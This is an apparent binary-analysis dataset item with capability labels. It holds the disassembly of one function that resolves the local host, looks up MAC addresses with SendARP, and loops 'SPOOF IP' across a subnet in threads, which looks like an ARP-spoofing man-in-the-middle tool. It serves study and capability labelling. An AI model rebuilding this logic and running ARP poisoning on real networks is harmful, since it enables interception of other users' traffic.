Function at 0x4019b0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push 0xffffffffffffffff
push 0x41c8d9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
mov eax, dword [0x425e64]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x3c]
push pe_nt_image_headers32
push ecx
mov dword [esp + 0x14c], 0
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x401a05
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._DEBUG_Failed_in_call_to_gethostname__WSAGetLastError_returns__d
jmp 0x401a20
lea ecx, [esp + 0x3c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x401a47
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str._DEBUG_Failed_in_call_to_gethostbyname__WSAGetLastError_returns__d
lea edx, [esp + 0x1c]
push edx
call fcn.00414f1b
mov eax, dword [esp + 0x20]
push eax
call fcn.00402b30
add esp, 0x10
mov dword [esp + 0x144], 0xffffffff
jmp 0x40209d
mov ebx, 4
cmp word [eax + 0xa], bx
je 0x401a7e
lea ecx, [esp + 0x14]
push str._DEBUG_IP_address_returned_is_not_32_bits___
push ecx
call fcn.00414f1b
mov edx, dword [esp + 0x1c]
push edx
call fcn.00402b30
add esp, 0xc
mov dword [esp + 0x144], 0xffffffff
jmp 0x40209d
mov ebp, dword [esp + 0x150]
lea ecx, [esp + 0x18]
mov eax, dword [ebp + 8]
push eax
call fcn.004156ce
mov eax, dword [0x425e64]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push 0x42526c
lea ecx, [esp + 0x1c]
mov byte [esp + 0x148], 3
call fcn.00414b95
mov esi, eax
cmp esi, 0xffffffff
je 0x401b20
lea ecx, [esp + 0x1c]
push esi
push ecx
lea ecx, [esp + 0x20]
call fcn.00414b1d
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x148], bl
call fcn.0041574d
lea ecx, [esp + 0x1c]
mov byte [esp + 0x144], 3
call fcn.00415660
inc esi
lea edx, [esp + 0x1c]
push esi
push edx
lea ecx, [esp + 0x20]
call fcn.00414a64
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x148], 5
call fcn.0041574d
lea ecx, [esp + 0x1c]
mov byte [esp + 0x144], 3
call fcn.00415660
mov edi, dword [ebp + 4]
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x42cacf
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x42cbce
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [0x42aad8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x42cccd
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x42c0d7
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x42c1d6
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x42c2d5
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov ebx, dword [esp + 0x24]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x42b6df
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x42b7de
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x42b8dd
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x42ace7
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ebx, 0xffffffff
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x42ade6
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
mov ecx, ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x42cbce
mov edx, ecx
mov esi, edi
mov edi, 0x42aee5
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esp + 0x3c], 6
call edi
lea ecx, [esp + 0x38]
lea edx, [esp + 0x30]
push ecx
push edx
push 0
push eax
call sub.iphlpapi.dll_SendARP
test eax, eax
je 0x401cfb
push 0x42cbce
jmp 0x401d32
mov edx, dword [esp + 0x30]
mov ax, word [esp + 0x34]
push 0x42cccd
mov dword [0x42aad0], edx
mov word [0x42aad4], ax
call edi
lea ecx, [esp + 0x38]
lea edx, [esp + 0x30]
push ecx
push edx
push 0
push eax
call sub.iphlpapi.dll_SendARP
test eax, eax
je 0x401d8d
push 0x42cccd
lea eax, [esp + 0x18]
push str._DEBUG_Error_Get_Mac_Address_of__s.
push eax
call fcn.00414f1b
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00402b30
add esp, 0x10
lea ecx, [esp + 0x24]
mov byte [esp + 0x144], 2
call fcn.00415660
lea ecx, [esp + 0x20]
mov byte [esp + 0x144], 1
call fcn.00415660
lea ecx, [esp + 0x18]
mov byte [esp + 0x144], 0
call fcn.00415660
mov dword [esp + 0x144], ebx
jmp 0x40209d
mov ax, word [esp + 0x34]
mov edx, dword [esp + 0x30]
mov word [0x42aacc], ax
mov eax, dword [0x425e64]
mov dword [0x42aac8], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x2c], eax
mov ecx, dword [ebp + 4]
mov byte [esp + 0x144], 7
push ecx
lea ecx, [esp + 0x2c]
call fcn.004156ce
mov bl, 8
push 0x425244
lea ecx, [esp + 0x2c]
mov byte [esp + 0x148], bl
call fcn.00414b95
mov esi, eax
or ebp, 0xffffffff
cmp esi, ebp
jne 0x401e51
lea edx, [esp + 0x14]
push str._DEBUG_Invalid_Network_Address.
push edx
call fcn.00414f1b
mov eax, dword [esp + 0x1c]
push eax
call fcn.00402b30
add esp, 0xc
lea ecx, [esp + 0x28]
mov byte [esp + 0x144], 7
call fcn.00415660
lea ecx, [esp + 0x2c]
mov byte [esp + 0x144], 6
call fcn.00415660
lea ecx, [esp + 0x10]
mov byte [esp + 0x144], 3
call fcn.00415660
lea ecx, [esp + 0x24]
mov byte [esp + 0x144], 2
call fcn.00415660
mov byte [esp + 0x144], 1
jmp 0x40207c
lea ecx, [esp + 0x1c]
push esi
push ecx
lea ecx, [esp + 0x30]
call fcn.00414b1d
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x148], 9
call fcn.0041574d
lea ecx, [esp + 0x1c]
mov byte [esp + 0x144], bl
call fcn.00415660
inc esi
lea edx, [esp + 0x1c]
push esi
push edx
lea ecx, [esp + 0x30]
call fcn.00414a64
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x148], 0xa
call fcn.0041574d
lea ecx, [esp + 0x1c]
mov byte [esp + 0x144], bl
call fcn.00415660
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
push eax
push ecx
call fcn.00406d22
add esp, 8
mov ebx, 1
test eax, eax
je 0x402031
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x10]
push edx
call edi
mov eax, dword [0x42aad8]
mov ecx, dword [esp + 0x10]
push eax
push 0x42cbce
push ecx
push str._r_nSPOOF_IP__s___s___s_r_n
call fcn.00406dd1
mov edx, dword [esp + 0x20]
push 0x42cccd
push edx
call fcn.00406d22
add esp, 0x18
test eax, eax
je 0x402000
mov ecx, dword [esp + 0x10]
push 0x42cbce
push ecx
call fcn.00406d22
add esp, 8
test eax, eax
jne 0x401f34
mov edx, dword [esp + 0x10]
push edx
jmp 0x402005
mov eax, dword [esp + 0x10]
push 0x42b7de
push eax
call fcn.00406d22
add esp, 8
test eax, eax
jne 0x401f54
mov ecx, dword [esp + 0x10]
push ecx
jmp 0x402005
mov eax, dword [0x47e51c]
test eax, eax
je 0x401f6a
push 0x64
call esi
mov eax, dword [0x47e51c]
test eax, eax
jne 0x401f5d
mov eax, dword [0x47e524]
test eax, eax
je 0x401f82
lea edx, [esp + 0x10]
push edx
call fcn.004020d0
add esp, 4
jmp 0x401fb5
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
push fcn.004020d0
mov dword [0x47e51c], ebx
call fcn.0041636a
mov eax, dword [0x47e51c]
test eax, eax
je 0x401fb5
push 0x64
call esi
mov eax, dword [0x47e51c]
test eax, eax
jne 0x401fa8
mov eax, dword [0x47e524]
test eax, eax
je 0x401fcd
lea ecx, [esp + 0x10]
push ecx
call fcn.00402490
add esp, 4
jmp 0x402000
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push 0
push edx
push fcn.00402490
mov dword [0x47e51c], ebx
call fcn.0041636a
mov eax, dword [0x47e51c]
test eax, eax
je 0x402000
push 0x64
call esi
mov eax, dword [0x47e51c]
test eax, eax
jne 0x401ff3
mov eax, dword [esp + 0x10]
push eax
call fcn.004029a0
add esp, 4
lea ecx, [esp + 0x10]
push eax
call fcn.0041579d
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x10]
push ecx
push edx
call fcn.00406d22
add esp, 8
test eax, eax
jne 0x401ed9
lea ecx, [esp + 0x28]
mov byte [esp + 0x144], 7
call fcn.00415660
lea ecx, [esp + 0x2c]
mov byte [esp + 0x144], 6
call fcn.00415660
lea ecx, [esp + 0x10]
mov byte [esp + 0x144], 3
call fcn.00415660
lea ecx, [esp + 0x24]
mov byte [esp + 0x144], 2
call fcn.00415660
mov byte [esp + 0x144], bl
lea ecx, [esp + 0x20]
call fcn.00415660
lea ecx, [esp + 0x18]
mov byte [esp + 0x144], 0
call fcn.00415660
mov dword [esp + 0x144], ebp
lea ecx, [esp + 0x14]
call fcn.00415660
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret